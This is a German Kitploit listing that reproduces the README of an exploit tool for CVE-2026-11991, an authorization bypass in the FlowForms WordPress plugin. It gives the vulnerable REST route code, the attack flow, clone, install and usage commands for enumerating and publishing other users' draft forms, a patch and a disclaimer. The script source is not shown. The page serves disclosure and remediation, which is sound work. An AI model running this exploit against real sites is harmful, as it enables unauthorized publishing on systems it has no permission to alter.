Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-11991-Exploit — Automatisierter Exploit für CVE-2026-11991, eine Autorisierungsumgehung im FlowForms-WordPress-Plugin, die es Contributor+-Benutzern ermöglicht, beliebige Entwurfsformulare über manipulierte REST-API-Anfragen zu veröffentlichen. | Kitploit
Tools/GitHubGitHub/0x00phantom-hat/cve-2026-11991-exploit
SchwachstellenanalyseExploitationWebanwendungs-ExploitationWebsicherheitPenetrationstestsLernen & Bildung
GitHub0x00phantom-hat/cve-2026-11991-exploit

CVE-2026-11991-Exploit

Automatisierter Exploit für CVE-2026-11991, eine Autorisierungsumgehung im FlowForms-WordPress-Plugin, die es Contributor+-Benutzern ermöglicht, beliebige Entwurfsformulare über manipulierte REST-API-Anfragen zu veröffentlichen.

Repository anzeigen
vor 12h 30mNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-11991 — FlowForms Unautorisierte Formularveröffentlichung

Authentifizierte (Contributor+) Autorisierungsumgehung zur Veröffentlichung beliebiger Entwurfsformulare in FlowForms ≤ 1.1.1

Schwachstellenübersicht

EigenschaftWert
CVE-IDCVE-2026-11991
CVSS-Score6.2 — Mittel
CVSS-VektorAV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N/E:H/RL:O/RC:C
CWECWE-639 (Autorisierungsumgehung durch benutzergesteuerten Schlüssel)
ProduktFlowForms — WordPress-Plugin für konversationelle Formularerstellung
BetroffenAlle Versionen bis einschließlich 1.1.1
Behoben in1.1.2
ForscherPhantom Hat

Technische Analyse

Vollständige White-Box-Fallstudie mit Quellcode-Analyse, Eingabeablaufverfolgung und Patch-Diffing:

📄 CVE-2026-11991 Fallstudie — Medium

Angriffsfläche

FlowForms stellt eine REST-API unter dem Namespace flowforms/v1 bereit. Der Veröffentlichungs-Endpunkt:

root@kitploit:~
POST /index.php?rest_route=/flowforms/v1/forms/{id}/publish

akzeptiert eine benutzergesteuerte {id} im URL-Pfad und veröffentlicht ein Entwurfsformular auf der Live-Website.

Grundursache

Der permission_callback für die /publish-Route führt nur eine allgemeine Fähigkeitsprüfung durch:

root@kitploit:~
register_rest_route($ns, '/forms/(?P<id>\d+)/publish', [
    'methods'             => 'POST',
    'callback'            => [$this, 'publish_form'],
    'permission_callback' => fn() => current_user_can('edit_posts'),
]);

edit_posts ist eine Fähigkeit, die Contributors besitzen — eine Rolle, die WordPress absichtlich von der Veröffentlichung von Inhalten ausschließt. Es gibt keinerlei Eigentümerprüfung gegen die Ziel-form_id. Jeder authentifizierte Benutzer kann jedes Entwurfsformular auf der Website veröffentlichen.

Angriffsablauf

root@kitploit:~
Angreifer (Contributor)              FlowForms REST-API
        │                                   │
        │── POST /wp-login.php ────────────>│  (1) Als Contributor authentifizieren
        │<─ wordpress_logged_in-Cookie ─────│
        │                                   │
        │── GET /wp-admin/post-new.php ────>│  (2) REST-Nonce abrufen
        │<─ wpApiSettings.nonce ────────────│
        │                                   │
        │── GET /flowform/{id} ────────────>│  (3) Entwurfsformulare aufzählen
        │<─ "Form Not Published" ───────────│      (nicht authentifizierte Antwort)
        │                                   │
        │── POST /flowforms/v1/forms/       │  (4) Veröffentlichung auslösen auf
        │        {id}/publish ─────────────>│      beliebiger Entwurfsformular-ID
        │                                   │      ← keine Eigentümerprüfung
        │<─ { "success": true } ────────────│
        │                                   │
        │   Formular ist jetzt LIVE auf der │  (5) Entwurf umgeht den
        │   Website ohne redaktionelle      │      redaktionellen Workflow
        │   Freigabe                        │

Exploit-Nutzung

Voraussetzungen

  • Python 3.8+
  • Ein authentifiziertes Konto mit mindestens der Rolle Contributor auf der Zielwebsite

Installation

root@kitploit:~
git clone https://github.com/0x00phantom-hat/CVE-2026-11991-FlowForms-Exploit
cd CVE-2026-11991-FlowForms-Exploit
pip install -r requirements.txt

Grundlegende Nutzung

root@kitploit:~
python3 CVE-2026-11991-exploit.py \
  --url http://TARGET \
  --user contributor \
  --password password123 \
  --num_forms 100 \
  --id_start 1

Mit Proxy (Burp Suite)

root@kitploit:~
python3 CVE-2026-11991-exploit.py \
  --url http://TARGET \
  --proxy http://127.0.0.1:8080 \
  --user contributor \
  --password password123 \
  --num_forms 100 \
  --id_start 1

Vollständige Flag-Referenz

FlagBeschreibungErforderlich
--urlZiel-WordPress-URL✅
--userWordPress-Benutzername (Contributor+)✅
--passwordWordPress-Passwort✅
--num_formsAnzahl der aufzuzählenden Formular-IDs✅
--id_startStart-Formular-ID für die Aufzählung✅
--proxyProxy-URL (z. B. http://127.0.0.1:8080)❌

Exploit-Workflow

Der Exploit führt drei automatisierte Schritte aus:

Schritt 1 — Authentifizierung Meldet sich als Angreifer (Contributor) an und ruft eine gültige REST-API-Nonce aus wp-admin ab.

Schritt 2 — Entwürfe aufzählen Scannt GET /flowform/{id} über den angegebenen ID-Bereich. Formulare, die "Form Not Published" zurückgeben, werden als Ziele gesammelt — dies sind Entwurfsformulare, über die der Angreifer keinerlei Eigentumsrechte besitzt.

Schritt 3 — Veröffentlichen Sendet POST /flowforms/v1/forms/{id}/publish mit der Nonce des Angreifers. Der Endpunkt akzeptiert die Anfrage, veröffentlicht den Entwurf und macht das Formular live — ohne jegliche Autorisierungsprüfung bezüglich des Eigentums.


Behebung

AktionDetails
PatchErsetzen Sie die allgemeine edit_posts-Prüfung durch current_user_can('edit_post', $form_id) — das zweite Argument bindet die Fähigkeitsprüfung an das spezifische Beitragsobjekt und erzwingt die WordPress-Eigentumsregeln
AbschwächungBis zum Patch die Rollen Contributor und Author einschränken, wenn das Plugin aktiv ist

Sichere Implementierung

root@kitploit:~
// VERWUNDBAR
'permission_callback' => fn() => current_user_can('edit_posts'),

// SICHER (gepatcht)
private function can_edit_form($form_id) {
    return current_user_can('edit_post', $form_id);
}
'permission_callback' => fn($request) => $this->can_edit_form(absint($request['id'])),

Referenzen

  • CWE-639 — Autorisierungsumgehung durch benutzergesteuerten Schlüssel
  • register_rest_route() — WordPress-Entwicklerdokumentation
  • current_user_can() — WordPress-Entwicklerdokumentation
  • FlowForms-Plugin — WordPress.org

Projektstruktur

root@kitploit:~
CVE-2026-11991-FlowForms-Exploit/
├── CVE-2026-11991-exploit.py   # Ausgefeilter Exploit mit reichhaltiger Benutzeroberfläche
├── requirements.txt            # Python-Abhängigkeiten
└── README.md                   # Diese Datei

Haftungsausschluss

Dieses Tool wird ausschließlich für autorisierte Sicherheitstests und Bildungsforschung bereitgestellt. Unautorisierter Zugriff auf Computersysteme ist weltweit nach geltendem Recht illegal. Der Autor übernimmt keine Haftung für die missbräuchliche Verwendung dieser Software. Holen Sie immer eine ausdrückliche schriftliche Genehmigung ein, bevor Sie ein System testen, das Ihnen nicht gehört.


Autor

Phantom Hat — Unabhängiger Sicherheitsforscher

  • Medium: @phantom_hat
  • GitHub: 0x00phantom-hat

Diese Forschung wurde im Rahmen einer verantwortungsvollen Offenlegung von Schwachstellen durchgeführt.

Tool herunterladen